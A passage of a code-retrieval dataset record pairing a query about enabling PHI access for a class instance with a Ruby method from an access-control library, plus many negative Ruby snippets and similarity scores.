method_name, wrapped_method)\n\n self.class.__phi_methods_to_extend << method_name\n end", "def extension_methods\n @@extension_methods\n end", "def called_signed_methods\n HasType.method_names_where(self) {|sig| sig.method_called? }\n end", "def methods_accepting_symbol; end", "def listing_methods\n (self.class.instance_methods & Node.all_methods)\n .sort.reverse!\n end", "def get_all_unused_methods(access_control = nil)\n @methods.inject([]) do |unused_methods, (_class_name, methods)|\n unused_methods +=\n if access_control\n methods.select { |method| method.access_control == access_control && !method.used }\n else\n methods.reject(&:used)\n end\n end.reject { |method| method.access_control == 'public' && @possible_methods[method.method_name] }\n end", "def get_all_methods\n methods = []\n each_type do | type |\n type.each_method do |meth|\n methods << meth\n end\n end\n methods\n end", "def method_name; end", "def method_name; end", "def method_name; end", "def method_name; end", "def method_name; end", "def method_name; end", "def method_name; end", "def method_name; end", "def method_name; end" ]
[ "0.685645", "0.66179276", "0.64682573", "0.64682573", "0.64449006", "0.64125663", "0.63714683", "0.62222874", "0.6220768", "0.6179154", "0.61584693", "0.6147961", "0.6143348", "0.6143348", "0.6115024", "0.6104664", "0.61005366", "0.6097147", "0.6096961", "0.6070741", "0.6050583", "0.6046681", "0.60277826", "0.60224545", "0.6020274", "0.60097826", "0.6003894", "0.5995801", "0.59833574", "0.5972382", "0.5972382", "0.5968963", "0.59588546", "0.59530777", "0.5918818", "0.591268", "0.59048533", "0.5898617", "0.589286", "0.5873799", "0.58548284", "0.5852464", "0.58455294", "0.58425665", "0.5842174", "0.5841889", "0.58351165", "0.58066034", "0.5788242", "0.57854176", "0.57788604", "0.577741", "0.577065", "0.57586646", "0.57460445", "0.5744457", "0.57442796", "0.5721843", "0.5703379", "0.5702302", "0.56923264", "0.56908244", "0.56831783", "0.5682549", "0.5682549", "0.5677455", "0.56589764", "0.5658604", "0.56489146", "0.5645801", "0.5637326", "0.56261575", "0.5625461", "0.5625078", "0.561927", "0.56128997", "0.5612492", "0.55883884", "0.5587479", "0.5585243", "0.5583586", "0.5582474", "0.5582187", "0.5564819", "0.55623806", "0.555652", "0.5556508", "0.555101", "0.55410177", "0.5540462", "0.5538953", "0.55357265", "0.55357265", "0.55357265", "0.55357265", "0.55357265", "0.55357265", "0.55357265", "0.55357265", "0.55357265" ]
0.6473883
2
Enable PHI access for a single instance of this class.
def allow_phi!(user_id = nil, reason = nil) raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given? user_id ||= self.class.current_user reason ||= self.class.i18n_reason raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank? PhiAttrs::Logger.tagged(*phi_log_keys) do @__phi_access_stack.push({ phi_access_allowed: true, user_id: user_id, reason: reason }) PhiAttrs::Logger.info("PHI Access Enabled for '#{user_id}': #{reason}") end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def wrap_phi\n # Disable PHI access by default\n @__phi_access_stack = []\n @__phi_methods_extended = Set.new\n @__phi_relations_extended = Set.new\n\n # Wrap attributes with PHI Logger and Access Control\n __phi_wrapped_methods.each { |m| phi_wrap_method(m) }\n __phi_extended_methods.each { |m| phi_wrap_extension(m) }\n end", "def require_phi!\n raise PhiAccessException, 'PHI Access required, please call allow_phi or allow_phi! first' unless phi_allowed?\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n message = __phi_stack.present? ? \"PHI access disabled for #{__user_id_string(__phi_stack)}\" : 'PHI access disabled. No class level access was granted.'\n\n __reset_phi_stack\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access_for = self.class.__user_id_string(@__phi_access_stack)\n\n revoke_extended_phi!\n @__phi_access_stack = []\n\n message = removed_access_for.present? ? \"PHI access disabled for #{removed_access_for}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def disallow_last_phi!\n raise ArgumentError, 'block not allowed' if block_given?\n\n removed_access = __phi_stack.pop\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No class level access was granted.'\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def allow_phi!(user_id = nil, reason = nil)\n raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?\n\n user_id ||= current_user\n reason ||= i18n_reason\n raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?\n\n __phi_stack.push({\n phi_access_allowed: true,\n user_id: user_id,\n reason: reason\n })\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(\"PHI Access Enabled for '#{user_id}': #{reason}\")\n end\n end", "def phi_allowed?\n !phi_context.nil? && phi_context[:phi_access_allowed]\n end", "def disallow_last_phi!(preserve_extensions: false)\n raise ArgumentError, 'block not allowed' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access = @__phi_access_stack.pop\n\n revoke_extended_phi! unless preserve_extensions\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def set_site_visitor\n ensure_code_cookie\n record_login(current_user) if current_user\n end", "def extend_phi_access(*methods)\n self.__phi_extend_methods = methods.map(&:to_s)\n end", "def enable()\n fail \"#{self} already enabled\" if @enabled\n @klasses.each_pair do |k,methods|\n methods.each_pair do |method_sym, (orig,blk)|\n new_meth = instrument_method(k,method_sym,orig,blk)\n k.class_eval do\n define_method method_sym, &new_meth\n end\n end\n end\n @enabled = true\n end", "def enable_authentication_controls(prepare_only=false)\n Rails.logger.debug(\" #{self.class.name}.#{__method__}(#{name}) Token=#{person_authentication_key}\")\n return self if prepare_only\n self.proxy_u.active= true\n self.last_access = Time.zone.now\n update_storage_object(person_authentication_key.to_sym, self)\n true\n end", "def add_disallow_flag!\n @__phi_access_stack.push({\n phi_access_allowed: false\n })\n end", "def disallow_phi\n raise ArgumentError, 'block required. use disallow_phi! without block' unless block_given?\n\n __phi_stack.push({\n phi_access_allowed: false\n })\n\n yield if block_given?\n\n __phi_stack.pop\n end", "def put_on_a_hat\n\n # set all instance variables we have in the sinatra request object\n self.instance_variables.each { |v| @sinatra.instance_variable_set(v, self.instance_variable_get(v)) }\n\n end", "def visitor\n @visitor ||= user_signed_in? ? current_user : UserAnon.new(session)\n end", "def enable!\n @mutex.synchronize do\n @advised.each { | x | x.enable! }\n end\n self\n end", "def include_in_phi(*methods)\n self.__phi_include_methods = methods.map(&:to_s)\n end", "def enable_targets_to_self_add_access=(value)\n @enable_targets_to_self_add_access = value\n end", "def register_funnel_visitor\n @current_visitor = FunnelCake.engine.visitor_class.create(\n :ip=>request.remote_ip.to_s\n )\n @current_visitor.user_id = current_user.id if logged_in?\n @current_visitor.save\n cookies[self.class.read_inheritable_attribute(:cookie_name)] = {\n :value => @current_visitor.id,\n :expires => 1.year.from_now\n }\n end", "def enable_profiling\n if current_user && CurateND::AdminConstraint.is_admin?(current_user.username)\n Rack::MiniProfiler.authorize_request\n end\n end", "def allow_phi(user_id = nil, reason = nil, allow_only: nil, &block)\n get_phi(user_id, reason, allow_only: allow_only, &block)\n return\n end", "def set_analytic_instance\n @analytic_instance = AnalyticInstance.find(params[:id])\n end", "def phi_allowed?\n __phi_stack.present? && __phi_stack[-1][:phi_access_allowed]\n end", "def authenticates_access\n include InstanceMethods\n end", "def enable(thing = Types::Boolean.new(true))\n instrument(:enable, thing) { |payload|\n adapter.add self\n\n gate = gate_for(thing)\n payload[:gate_name] = gate.name\n\n adapter.enable self, gate, gate.wrap(thing)\n }\n end", "def enable_tracking\n @DoNotTrack = false\n #Enable do not track for admin and any future employees. Har har. Employees. Yah right.\n if user_signed_in? && current_user.is_admin?\n @DoNotTrack = true\n end\n true\n end", "def setup(force = false)\n logger.debug { \"#{self.class}##{__method__}\" }\n self.save! if self.changed? || self.new_record?\n return unless self.active? || force\n provision_agents\n secure_identity_file\n end", "def access_control\n \n end", "def enable!\n tracers.each(&:enable!)\n end", "def enable!\n @mutex.synchronize do\n return self if @enabled\n\n this = self\n mod_target.instance_eval do\n case this.scope\n when :public\n else\n public this.meth\n end\n\n alias_method this.old_meth, this.meth if\n ! method_defined? this.old_meth\n\n alias_method this.meth, this.new_meth\n\n case this.scope\n when :private\n private this.meth\n when :protected\n protected this.meth\n end\n end\n\n enabled!\n @enabled = true\n end\n self\n end", "def activate!\n @activated = true\n\n self.active = true\n \n # Authlogic resets the perishable token by default on save, but I'm leaving the call\n # to reset_perishable_token! here directly to help reveal intent (which's is kinda a\n # dead purpose after this long comment, but who cares).\n #\n # This also saves the record.\n #\n reset_perishable_token!\n end", "def set_visit_procedure\n @visit_procedure = VisitProcedure.find(params[:id])\n end", "def activate!\n raise NotImplementedError\n end", "def activate\n Page.send :include, IfIdTags\n end", "def lock_self_and_visits!\n self.lock!\n self.visits(:lock => true)\n end", "def activate\n\n # Add helper to retrieve the users country\n ApplicationHelper.send(:include, Spree::ZonePricing::GetCountry)\n # Add helper to retrieve the users country, used by a number of controllers\n Spree::BaseController.send(:include, Spree::ZonePricing::GetCountry)\n\n # Add additional associations to allow m:m relationship\n # between zones<->variants\n Zone.send(:include, Spree::ZonePricing::Zone)\n Variant.send(:include, Spree::ZonePricing::Variant)\n\n # Override add_variant method so that we can use zone pricing\n Order.send(:include, Spree::ZonePricing::Order)\n\n # Override price\n ProductsHelper.send(:include, Spree::ZonePricing::ProductsHelper)\n\n # Add action to countries controller to handle country selection\n CountriesController.send(:include, Spree::ZonePricing::CountriesController)\n # Add code to set the currently country in the order\n OrdersController.send(:include, Spree::ZonePricing::OrdersController)\n # Add code to save zone prices\n Admin::VariantsController.send(:include, Spree::ZonePricing::Admin::VariantsController)\n # Add code to check zone prices after address is saved during checkout, if ship\n # country not the same change prices in order\n CheckoutsController.send(:include, Spree::ZonePricing::CheckoutsController)\n\n end", "def get_phi(user_id = nil, reason = nil, allow_only: nil)\n raise ArgumentError, 'block required' unless block_given?\n\n if allow_only.present?\n raise ArgumentError, 'allow_only must be iterable with each' unless allow_only.respond_to?(:each)\n raise ArgumentError, \"allow_only must all be `#{name}` objects\" unless allow_only.all? { |t| t.is_a?(self) }\n raise ArgumentError, 'allow_only must all have `allow_phi!` methods' unless allow_only.all? { |t| t.respond_to?(:allow_phi!) }\n end\n\n # Save this so we don't revoke access previously extended outside the block\n frozen_instances = __instances_with_extended_phi.index_with { |obj| obj.instance_variable_get(:@__phi_relations_extended).clone }\n\n if allow_only.nil?\n allow_phi!(user_id, reason)\n else\n allow_only.each { |t| t.allow_phi!(user_id, reason) }\n end\n\n result = yield if block_given?\n\n __instances_with_extended_phi.each do |obj|\n if frozen_instances.include?(obj)\n old_extensions = frozen_instances[obj]\n new_extensions = obj.instance_variable_get(:@__phi_relations_extended) - old_extensions\n obj.send(:revoke_extended_phi!, new_extensions) if new_extensions.any?\n else\n obj.send(:revoke_extended_phi!) # Instance is new to the set, so revoke everything\n end\n end\n\n if allow_only.nil?\n disallow_last_phi!\n else\n allow_only.each { |t| t.disallow_last_phi!(preserve_extensions: true) }\n # We've handled any newly extended allowances ourselves above\n end\n\n result\n end", "def enable\n\n @enabled = true\n\n return self\n\n end", "def enable\n end", "def enable!; end", "def enable\n {\n method: \"Page.enable\"\n }\n end", "def set_advertiser\n @advertiser = @current_user.advertiser\n end", "def superadminify\n without_access_control do\n User.module_eval do\n def role_symbols\n @role_symbols = [ :superadmin ]\n end\n end\n\n request.session[:auth_via] = 'cas'\n request.session[:user_id] = users(:one)\n end\n end", "def self\n @define_self = true", "def gt_enable!\n unless self.gt_enabled?\n self.gt_enabled = true\n\n self.cohorts << Settings::User.current_cohort unless self.cohorts.include? Settings::User.current_cohort\n GT::UserManager.ensure_users_special_rolls(self, true)\n\n self.save(:validate => false)\n\n public_roll = self.public_roll\n if (self.user_type == User::USER_TYPE[:real] || self.user_type == User::USER_TYPE[:converted])\n public_roll.roll_type = Roll::TYPES[:special_public_real_user]\n end\n public_roll.save(:validate => false)\n end\n end", "def enable\n {\n method: \"Security.enable\"\n }\n end", "def enable_pxe\n delegate(provider, :enable_pxe)\n end", "def phi_allowed_by\n phi_context[:user_id]\n end", "def set_philosopher\n @philosopher = Philosopher.find(params[:id])\n end", "def allow_phi(user_id = nil, reason = nil, &block)\n get_phi(user_id, reason, &block)\n return\n end", "def activate\n copy self.class.activate(@id)\n true\n end", "def enableAIFeature _obj, _args\n \"_obj enableAIFeature _args;\" \n end", "def identity(options = {})\n self._identity = options\n end", "def toggle_guest_access\n raise NotImplementedError\n end", "def proxy\n self.class.proxy.new(session)\n end", "def enable\n end", "def set_taxi_sevice\n @taxi_sevice = TaxiSevice.find(params[:id])\n end", "def activate!\n self.active = true\n self.save!\n end", "def set_authenticated\n instance_variable_set(:@authenticated, true )\n end", "def enabled!\n self\n end", "def use(sym)\n Service.enable(sym)\n end", "def set_advertising\n @advertising = policy_scope(Advertising).find(params[:id])\n authorize(@advertising)\n end", "def activate\n RestrictedPage\n # admin.tabs.add \"Restricted Page\", \"/admin/restricted_page\", :after => \"Layouts\", :visibility => [:all]\n end", "def set_analytic\n @analytic = Analytic.find(params[:id])\n end", "def enableAttack _obj, _args\n \"_obj enableAttack _args;\" \n end", "def turn_on\n self.class._start_session\n end", "def enableSimulationGlobal _obj, _args\n \"_obj enableSimulationGlobal _args;\" \n end", "def enabled!\n self\n end", "def enable!\n self.enabled = true\n end", "def proxy; self end", "def _activate\n\t\t\tend", "def tax1_enabled\n return 1\n end", "def set_guest\n @hotspot_registration = HotspotRegistration.find(params[:id])\n end", "def current_site_visitor\n @current_site_visitor ||= begin\n code = ensure_code_cookie\n GreenFlag::SiteVisitor.for_visitor_code!(code)\n end\n end", "def spa=(value)\n @spa = value\n end", "def enable_enforce(enabled = true)\n self.enabled = enabled\n end", "def teacher_admin\n force_signin unless current_clazz.is_teacher?(current_visitor) || current_visitor.has_role?('admin')\n end", "def set_less_active_member\n @less_active_member = LessActiveMemberDecorator.decorate(LessActiveMember.find(params[:id]))\n end", "def set_theta\n @theta = Theta.find(params[:id])\n end", "def instrument_additional_methods\n instrument_save_methods\n instrument_relation_methods\n end", "def enable_targets_to_self_update_access=(value)\n @enable_targets_to_self_update_access = value\n end", "def enable_targets_to_self_add_access\n return @enable_targets_to_self_add_access\n end", "def set_contraceptive_method\n @contraceptive_method = ContraceptiveMethod.find(params[:id])\n end", "def activate\n self.activated_at = Time.now.utc\n self.perishable_token = nil\n save(false)\n end", "def singleton!\n include Singleton\n end", "def activate_exemption\n self.registered_on = Date.today\n\n self.expires_on = if transient_registration.is_a? WasteExemptionsEngine::RenewingRegistration\n transient_registration.registration.expires_on +\n WasteExemptionsEngine.configuration.years_before_expiry.years\n else\n Date.today + (WasteExemptionsEngine.configuration.years_before_expiry.years - 1.day)\n end\n\n save!\n end", "def node_visit_policy(options)\n NodeVisitPolicy.new(options)\n end", "def set_visitante\n @visitante = Visitante.find(params[:id])\n end", "def anonymous_vpn?; end", "def anonymous_vpn?; end", "def activate\n self.active = true\n end", "def enableSimulation _obj, _args\n \"_obj enableSimulation _args;\" \n end", "def activate\n \n Product.class_eval do\n named_scope :on_homepage,:conditions => [\"show_on_homepage = ?\", true]\n end\n \n end", "def enable_for_public\n # TODO Create and write all the checks necessary for the listing to become active and public\n self.update_attribute(:active, true)\n end", "def record_login(user)\n self.current_site_visitor = GreenFlag::SiteVisitor.for_user!(user, current_site_visitor)\n end", "def enable\n\t\t\t@last_request = nil\n\t\t\tBase.instance.add_observer(self)\n\t\tend", "def identity=(v)\n @identity = v\n end", "def enableAI _obj, _args\n \"_obj enableAI _args;\" \n end", "def enable\n @enabled = true\n end" ]
[ "0.6503711", "0.60157526", "0.5888412", "0.56705296", "0.5275839", "0.5272819", "0.523849", "0.5006671", "0.49850884", "0.4902998", "0.48814306", "0.48665932", "0.4845151", "0.4806198", "0.47895586", "0.47890317", "0.47821018", "0.47678176", "0.47272968", "0.4694331", "0.46665645", "0.4659271", "0.4656307", "0.46511897", "0.4616824", "0.46100682", "0.46069133", "0.460299", "0.45946223", "0.4590999", "0.45316613", "0.45302778", "0.45165655", "0.45163447", "0.45122814", "0.45085797", "0.4507106", "0.45019498", "0.44953987", "0.4488769", "0.44860455", "0.44848862", "0.44734895", "0.44650418", "0.44624513", "0.4458336", "0.4456853", "0.44400612", "0.43945602", "0.43935746", "0.43900967", "0.43770796", "0.4371022", "0.43682396", "0.43673795", "0.43565112", "0.43528256", "0.43528095", "0.43479756", "0.434362", "0.4336512", "0.43342075", "0.4331602", "0.43267637", "0.43221208", "0.43204305", "0.43016976", "0.4300495", "0.42946315", "0.42893556", "0.42708522", "0.4270067", "0.4264557", "0.42636508", "0.42623973", "0.4260087", "0.42597085", "0.4255675", "0.42460397", "0.424541", "0.424415", "0.42422038", "0.42404592", "0.42401707", "0.4239104", "0.42376035", "0.42308545", "0.42275622", "0.4225946", "0.42249098", "0.42249098", "0.4221745", "0.42183116", "0.4216554", "0.42120686", "0.42091453", "0.420573", "0.4204469", "0.42043555", "0.41981053" ]
0.52162623
7
Enable PHI access for a single instance of this class inside the block. Nested calls to allow_phi will log once per nested call
def allow_phi(user_id = nil, reason = nil, &block) get_phi(user_id, reason, &block) return end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n message = __phi_stack.present? ? \"PHI access disabled for #{__user_id_string(__phi_stack)}\" : 'PHI access disabled. No class level access was granted.'\n\n __reset_phi_stack\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def disallow_phi!\n raise ArgumentError, 'block not allowed. use disallow_phi with block' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access_for = self.class.__user_id_string(@__phi_access_stack)\n\n revoke_extended_phi!\n @__phi_access_stack = []\n\n message = removed_access_for.present? ? \"PHI access disabled for #{removed_access_for}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def disallow_last_phi!\n raise ArgumentError, 'block not allowed' if block_given?\n\n removed_access = __phi_stack.pop\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No class level access was granted.'\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(message)\n end\n end", "def wrap_phi\n # Disable PHI access by default\n @__phi_access_stack = []\n @__phi_methods_extended = Set.new\n @__phi_relations_extended = Set.new\n\n # Wrap attributes with PHI Logger and Access Control\n __phi_wrapped_methods.each { |m| phi_wrap_method(m) }\n __phi_extended_methods.each { |m| phi_wrap_extension(m) }\n end", "def disallow_phi\n raise ArgumentError, 'block required. use disallow_phi! without block' unless block_given?\n\n __phi_stack.push({\n phi_access_allowed: false\n })\n\n yield if block_given?\n\n __phi_stack.pop\n end", "def allow_phi!(user_id = nil, reason = nil)\n raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?\n\n user_id ||= self.class.current_user\n reason ||= self.class.i18n_reason\n raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n @__phi_access_stack.push({\n phi_access_allowed: true,\n user_id: user_id,\n reason: reason\n })\n\n PhiAttrs::Logger.info(\"PHI Access Enabled for '#{user_id}': #{reason}\")\n end\n end", "def allow_phi!(user_id = nil, reason = nil)\n raise ArgumentError, 'block not allowed. use allow_phi with block' if block_given?\n\n user_id ||= current_user\n reason ||= i18n_reason\n raise ArgumentError, 'user_id and reason cannot be blank' if user_id.blank? || reason.blank?\n\n __phi_stack.push({\n phi_access_allowed: true,\n user_id: user_id,\n reason: reason\n })\n\n PhiAttrs::Logger.tagged(PHI_ACCESS_LOG_TAG, name) do\n PhiAttrs::Logger.info(\"PHI Access Enabled for '#{user_id}': #{reason}\")\n end\n end", "def require_phi!\n raise PhiAccessException, 'PHI Access required, please call allow_phi or allow_phi! first' unless phi_allowed?\n end", "def disallow_last_phi!(preserve_extensions: false)\n raise ArgumentError, 'block not allowed' if block_given?\n\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n removed_access = @__phi_access_stack.pop\n\n revoke_extended_phi! unless preserve_extensions\n message = removed_access.present? ? \"PHI access disabled for #{removed_access[:user_id]}\" : 'PHI access disabled. No instance level access was granted.'\n PhiAttrs::Logger.info(message)\n end\n end", "def allow_phi(user_id = nil, reason = nil, allow_only: nil, &block)\n get_phi(user_id, reason, allow_only: allow_only, &block)\n return\n end", "def get_phi(user_id = nil, reason = nil, allow_only: nil)\n raise ArgumentError, 'block required' unless block_given?\n\n if allow_only.present?\n raise ArgumentError, 'allow_only must be iterable with each' unless allow_only.respond_to?(:each)\n raise ArgumentError, \"allow_only must all be `#{name}` objects\" unless allow_only.all? { |t| t.is_a?(self) }\n raise ArgumentError, 'allow_only must all have `allow_phi!` methods' unless allow_only.all? { |t| t.respond_to?(:allow_phi!) }\n end\n\n # Save this so we don't revoke access previously extended outside the block\n frozen_instances = __instances_with_extended_phi.index_with { |obj| obj.instance_variable_get(:@__phi_relations_extended).clone }\n\n if allow_only.nil?\n allow_phi!(user_id, reason)\n else\n allow_only.each { |t| t.allow_phi!(user_id, reason) }\n end\n\n result = yield if block_given?\n\n __instances_with_extended_phi.each do |obj|\n if frozen_instances.include?(obj)\n old_extensions = frozen_instances[obj]\n new_extensions = obj.instance_variable_get(:@__phi_relations_extended) - old_extensions\n obj.send(:revoke_extended_phi!, new_extensions) if new_extensions.any?\n else\n obj.send(:revoke_extended_phi!) # Instance is new to the set, so revoke everything\n end\n end\n\n if allow_only.nil?\n disallow_last_phi!\n else\n allow_only.each { |t| t.disallow_last_phi!(preserve_extensions: true) }\n # We've handled any newly extended allowances ourselves above\n end\n\n result\n end", "def phi_allowed?\n !phi_context.nil? && phi_context[:phi_access_allowed]\n end", "def disallow_phi\n raise ArgumentError, 'block required. use disallow_phi! without block' unless block_given?\n\n add_disallow_flag!\n add_disallow_flag_to_extended_phi!\n\n yield if block_given?\n\n remove_disallow_flag_from_extended_phi!\n remove_disallow_flag!\n end", "def add_disallow_flag!\n @__phi_access_stack.push({\n phi_access_allowed: false\n })\n end", "def phi_allowed?\n __phi_stack.present? && __phi_stack[-1][:phi_access_allowed]\n end", "def get_phi(user_id = nil, reason = nil)\n raise ArgumentError, 'block required' unless block_given?\n\n extended_instances = @__phi_relations_extended.clone\n allow_phi!(user_id, reason)\n\n result = yield if block_given?\n\n new_extensions = @__phi_relations_extended - extended_instances\n disallow_last_phi!(preserve_extensions: true)\n revoke_extended_phi!(new_extensions) if new_extensions.any?\n\n result\n end", "def phi_allowed_by\n phi_context[:user_id]\n end", "def phi_wrap_method(method_name)\n unless respond_to?(method_name)\n PhiAttrs::Logger.warn(\"#{self.class.name} tried to wrap non-existant method (#{method_name})\")\n return\n end\n return if self.class.__phi_methods_wrapped.include? method_name\n\n wrapped_method = :\"__#{method_name}_phi_wrapped\"\n unwrapped_method = :\"__#{method_name}_phi_unwrapped\"\n\n self.class.send(:define_method, wrapped_method) do |*args, **kwargs, &block|\n PhiAttrs::Logger.tagged(*phi_log_keys) do\n unless phi_allowed?\n raise PhiAttrs::Exceptions::PhiAccessException, \"Attempted PHI access for #{self.class.name} #{@__phi_user_id}\"\n end\n\n unless all_phi_context_logged?\n PhiAttrs::Logger.info(\"#{self.class.name} access by [#{all_phi_allowed_by}]. Triggered by method: #{method_name}\")\n set_all_phi_context_logged\n end\n\n send(unwrapped_method, *args, **kwargs, &block)\n end\n end\n\n # method_name => wrapped_method => unwrapped_method\n self.class.send(:alias_method, unwrapped_method, method_name)\n self.class.send(:alias_method, method_name, wrapped_method)\n\n self.class.__phi_methods_wrapped << method_name\n end", "def verify_tenant_access\n begin\n\n yield\n\n MultiTenant.pending_verification.each do |pending|\n rec, model = pending\n curr_id = MultiTenant.current_tenant.id\n\n multi_tenant_incr(rec)\n\n rec_tenant = rec.send(model)\n if rec_tenant.nil? then\n # if no tenant, then must be globally accessible\n multi_tenant_decr()\n return\n end\n\n other_id = rec_tenant.id\n if curr_id != other_id then\n # PANIC\n multi_tenant_reset()\n raise AccessException, \"illegal access: tried to access tenant.id=#{other_id}; current_tenant.id=#{curr_id}\"\n end\n\n multi_tenant_decr()\n end\n\n ensure\n MultiTenant.pending_verification.clear\n MultiTenant.current_tenant = nil\n end\n end", "def set_site_visitor\n ensure_code_cookie\n record_login(current_user) if current_user\n end", "def lock_self_and_visits!\n self.lock!\n self.visits(:lock => true)\n end", "def include_in_phi(*methods)\n self.__phi_include_methods = methods.map(&:to_s)\n end", "def extend_phi_access(*methods)\n self.__phi_extend_methods = methods.map(&:to_s)\n end", "def track_visitor\n return if ignore_funnel_tracking?\n register_funnel_visitor unless visitor_registered?\n end", "def all_phi_allowed_by\n self.class.__user_id_string(all_phi_context)\n end", "def enable_tracking\n @DoNotTrack = false\n #Enable do not track for admin and any future employees. Har har. Employees. Yah right.\n if user_signed_in? && current_user.is_admin?\n @DoNotTrack = true\n end\n true\n end", "def temp(tenant_session, &block)\n original = self.tenant_session\n begin\n self.tenant_session = tenant_session\n yield\n ensure\n self.tenant_session = original\n end\n end", "def test_proxy_behavior\n hash_ = Hash.new\n context_self_ = self\n @my_instance_variable_test = :hello\n block_ = proc do\n set_value1('a', 1)\n set_value2('b'){ 2 }\n set_value3_dslversion('c', 3)\n context_self_.assert_raise(NoMethodError){ set_value3('d', 4) }\n context_self_.assert(helper_method())\n context_self_.assert(!instance_variable_defined?(:@my_instance_variable_test))\n context_self_.assert(!self.kind_of?(Target1))\n context_self_.assert_not_equal(context_self_, self)\n end\n Blockenspiel.invoke(block_, Target1.new(hash_), :parameterless => :proxy)\n assert_equal(1, hash_['a1'])\n assert_equal(2, hash_['b2'])\n assert_equal(3, hash_['c3'])\n end", "def enable()\n fail \"#{self} already enabled\" if @enabled\n @klasses.each_pair do |k,methods|\n methods.each_pair do |method_sym, (orig,blk)|\n new_meth = instrument_method(k,method_sym,orig,blk)\n k.class_eval do\n define_method method_sym, &new_meth\n end\n end\n end\n @enabled = true\n end", "def plan(&block)\n @plan = block\n end", "def before_gateways(kb_transaction, last_transaction, payment_source, amount_in_cents, currency, options, context = nil)\n end", "def calculatePhi(num)\n a=1\n b=1\n c=a+b\n num.times do\n a=b\n b=c\n c=a+b\n end\n print \"The value of PHI after #{num} iterations is #{c/b.to_f}\"\n print \"\\n\"\nend", "def enable_authentication_controls(prepare_only=false)\n Rails.logger.debug(\" #{self.class.name}.#{__method__}(#{name}) Token=#{person_authentication_key}\")\n return self if prepare_only\n self.proxy_u.active= true\n self.last_access = Time.zone.now\n update_storage_object(person_authentication_key.to_sym, self)\n true\n end", "def t__75!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 20)\n\n type = T__75\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 26:9: 'protected'\n match(\"protected\")\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 20)\n\n end", "def temporary_access_pass_methods=(value)\n @temporary_access_pass_methods = value\n end", "def record_login(user)\n self.current_site_visitor = GreenFlag::SiteVisitor.for_user!(user, current_site_visitor)\n end", "def visitor\n @visitor ||= user_signed_in? ? current_user : UserAnon.new(session)\n end", "def enable!\n @mutex.synchronize do\n return self if @enabled\n\n this = self\n mod_target.instance_eval do\n case this.scope\n when :public\n else\n public this.meth\n end\n\n alias_method this.old_meth, this.meth if\n ! method_defined? this.old_meth\n\n alias_method this.meth, this.new_meth\n\n case this.scope\n when :private\n private this.meth\n when :protected\n protected this.meth\n end\n end\n\n enabled!\n @enabled = true\n end\n self\n end", "def spi\n apply_param_limiter(super + party_gift(:spi))\n end", "def put_on_a_hat\n\n # set all instance variables we have in the sinatra request object\n self.instance_variables.each { |v| @sinatra.instance_variable_set(v, self.instance_variable_get(v)) }\n\n end", "def register_advice_methods!\n scope # force calculation of scope before aliasing methods.\n\n @mutex.synchronize do\n return self if @advice_methods_registered\n\n this = self\n mod_target.instance_eval do\n define_method(this.before_meth, &this.advice.before)\n define_method(this.after_meth, &this.advice.after)\n define_method(this.around_meth, &this.advice.around)\n end\n\n @advice_methods_registered = true\n end\n self\n end", "def enableSimulationGlobal _obj, _args\n \"_obj enableSimulationGlobal _args;\" \n end", "def authenticate_once_state\n super\n end", "def remove_disallow_flag!\n @__phi_access_stack.pop\n end", "def plan plan\n plan.myself if respond_to?(:run)\n end", "def protect()\n res = super(context,self)\n return res\n end", "def entering_wrap_method\n @@inside_methods += 1\n end", "def enable!\n tracers.each(&:enable!)\n end", "def init\n ctx = ComputationContext.new(self)\n log_failure do\n handler.init(ctx)\n end\n ctx.transaction\n end", "def self\n @define_self = true", "def allow_if(&block)\n @allow_if << block\n return self\n end", "def send_bypass_singleton meth, *args, &block\n self.class.instance_method(meth).bind(self).call *args, &block\n end", "def and_yield(*args)\n yield eval_context = Object.new if block_given?\n @plan = Proc.new do |&block|\n eval_context.instance_exec(*args, &block)\n end\n self\n end", "def add_disallow_flag_to_extended_phi!(relations = nil)\n relations ||= @__phi_relations_extended\n relations.each do |relation|\n relation.add_disallow_flag! if relation.present? && relation_klass(relation).included_modules.include?(PhiRecord)\n end\n end", 